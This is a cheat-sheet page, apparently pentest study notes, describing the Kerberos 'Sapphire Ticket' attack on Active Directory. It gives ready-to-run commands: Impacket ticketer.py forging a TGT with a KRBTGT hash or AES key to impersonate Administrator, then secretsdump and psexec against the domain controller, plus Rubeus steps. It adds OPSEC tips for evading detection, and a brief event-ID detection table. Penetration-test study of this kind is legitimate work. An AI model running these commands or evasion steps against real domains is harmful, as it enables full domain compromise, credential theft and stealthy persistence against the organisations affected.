AD^:Active Directory

Attack #14 — Sapphire Ticket Attack

The Sapphire Ticket is the most OPSEC-friendly ticket forging technique in the Kerberos attack family. It addresses the final detection gap that Diamond…

advancedupdated 2026-08-10Impacket · Mimikatz · Rubeus · PowerShell

🟠 Attack #14 — Sapphire Ticket Attack


📖 How It Works

The Sapphire Ticket is the most OPSEC-friendly ticket forging technique in the Kerberos attack family. It addresses the final detection gap that Diamond Tickets still have — fabricated PAC data. While Diamond Tickets modify a legitimate TGT’s PAC with attacker-chosen group memberships (which can be detected by comparing PAC claims against actual AD group memberships), the Sapphire Ticket obtains a real, legitimate PAC belonging to the target high-privileged user via the S4U2Self + User-to-User (U2U) protocol extensions, then grafts that authentic PAC into a forged TGT.

Ticket Evolution — From Golden to Sapphire

Ticket TypePAC SourceAS-REQ Present?Detection Difficulty
GoldenEntirely fabricated❌ NoEasy — missing AS-REQ + fake PAC
SilverEntirely fabricatedN/A (TGS only)Medium — no DC events, but PAC validation catches it
DiamondModified from real (but groups changed)✅ YesHard — has AS-REQ, but PAC groups mismatch AD
SapphireReal PAC obtained via S4U2Self+U2U✅ YesVery Hard — everything is legitimate

How It Works Step-by-Step

1. Obtain KRBTGT AES256 key (via DCSync)
2. Request a legitimate TGT for your controlled user (real AS-REQ)
3. Use S4U2Self + U2U to request a service ticket to yourself on behalf of
   the target privileged user (e.g., Administrator)
4. This returns a REAL PAC belonging to Administrator — with genuine group
   memberships signed by the DC
5. Extract the PAC from the S4U2Self response
6. Decrypt your TGT, replace YOUR PAC with Administrator's REAL PAC
7. Re-encrypt and re-sign the TGT
8. Result: Your TGT now carries Administrator's genuine PAC — undetectable
   by PAC inspection because the PAC data is 100% real

⚙️ Prerequisites

RequirementDetail
KRBTGT AES256 keyRequired for TGT decryption and re-encryption
Domain Admin or DCSync rightsTo extract the KRBTGT key
Valid domain user accountFor the initial AS-REQ and S4U2Self request
Target user must existThe S4U2Self request queries the DC for the real PAC

🛠️ Tools

ToolPlatformNotes
Impacket — ticketer.pyLinux-impersonate flag performs Sapphire Ticket attack
RubeusWindowsCan be used for the S4U2Self+U2U flow manually
MimikatzWindowsDCSync for KRBTGT key extraction

💻 Full Commands

🔴 Impacket — ticketer.py (Linux — Primary Method)

# ── Sapphire Ticket — forge TGT with real Administrator PAC ───────────────────
ticketer.py -nthash 1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d \
  -domain-sid S-1-5-21-3878595448-1012506728-1948843120 \
  -domain corp.local \
  -impersonate Administrator \
  -dc-ip 10.10.10.10 \
  low_user

# Flags:
# -nthash       = KRBTGT NT hash
# -impersonate  = Target user whose REAL PAC to obtain via S4U2Self+U2U
# -dc-ip        = DC to query for the S4U2Self request
# low_user      = Your controlled user for the base TGT

# ── Using AES key (preferred) ─────────────────────────────────────────────────
ticketer.py -aesKey b65fb27c8e0d7c5f48b16c10b4c1d91a9b3c2d4e5f6a7b8c9d0e1f2a3b4c5d6 \
  -domain-sid S-1-5-21-3878595448-1012506728-1948843120 \
  -domain corp.local \
  -impersonate Administrator \
  -dc-ip 10.10.10.10 \
  low_user

# ── Use the Sapphire Ticket ───────────────────────────────────────────────────
export KRB5CCNAME=low_user.ccache
secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local
psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local

🔴 Manual S4U2Self + U2U Flow (Rubeus — Windows)

# ── Step 1: Request legitimate TGT ────────────────────────────────────────────
.\Rubeus.exe asktgt /user:low_user /password:Password1 /enctype:aes256 /nowrap /outfile:low_user.kirbi

# ── Step 2: Use S4U2Self+U2U to get Administrator's PAC ──────────────────────
.\Rubeus.exe s4u /self /user:low_user /impersonateuser:Administrator /ticket:low_user.kirbi /nowrap

# ── Step 3: Manual PAC extraction and TGT modification (requires custom tooling)
# The PAC from the S4U2Self response contains Administrator's real group memberships
# Graft this PAC into the original TGT using KRBTGT key

# Note: Rubeus does not have a single-command "sapphire" option like Diamond
# The Impacket ticketer.py with -impersonate is the cleanest approach

🎯 OPSEC Tips

  • Sapphire Ticket is virtually undetectable — the PAC is real (signed by the DC), the AS-REQ is real, and the TGT encryption is correct
  • The S4U2Self+U2U request IS logged — Event 4769 shows a service ticket request, but this is normal protocol behavior and hard to distinguish from legitimate traffic
  • AES encryption is mandatory for maximum stealth
  • Sapphire > Diamond > Golden — always prefer Sapphire when possible for the most OPSEC-safe persistence

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
4768Security Log (DC)TGT request — present (legitimate AS-REQ)
4769Security Log (DC)S4U2Self service ticket request — watch for U2U patterns from non-service accounts
4624Security LogLogon with elevated privileges from unexpected user/host

Primary detection challenge: Sapphire Tickets are the hardest to detect because every component is legitimate — the AS-REQ, the PAC data, and the encryption. Detection must focus on behavioral analysis — why is a low-privilege user suddenly accessing DA-protected resources? The S4U2Self+U2U request pattern from a non-service account is the only technical indicator, but it’s subtle.


🔗 Attack Chain Context

[Sapphire Ticket] ──→ Most Stealthy Domain Persistence
         │
         ├──→ 🔑 Real PAC + Real AS-REQ = virtually undetectable
         ├──→ 🩸 Use as DA → DCSync → complete domain compromise
         ├──→ 🔒 Only defeated by KRBTGT reset × 2
         ├──→ 🔗 Chain: DCSync → get KRBTGT key → Sapphire Ticket
         └──→ 📊 OPSEC ranking: Sapphire > Diamond > Golden

✅ Attack #14 — Sapphire Ticket complete.

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.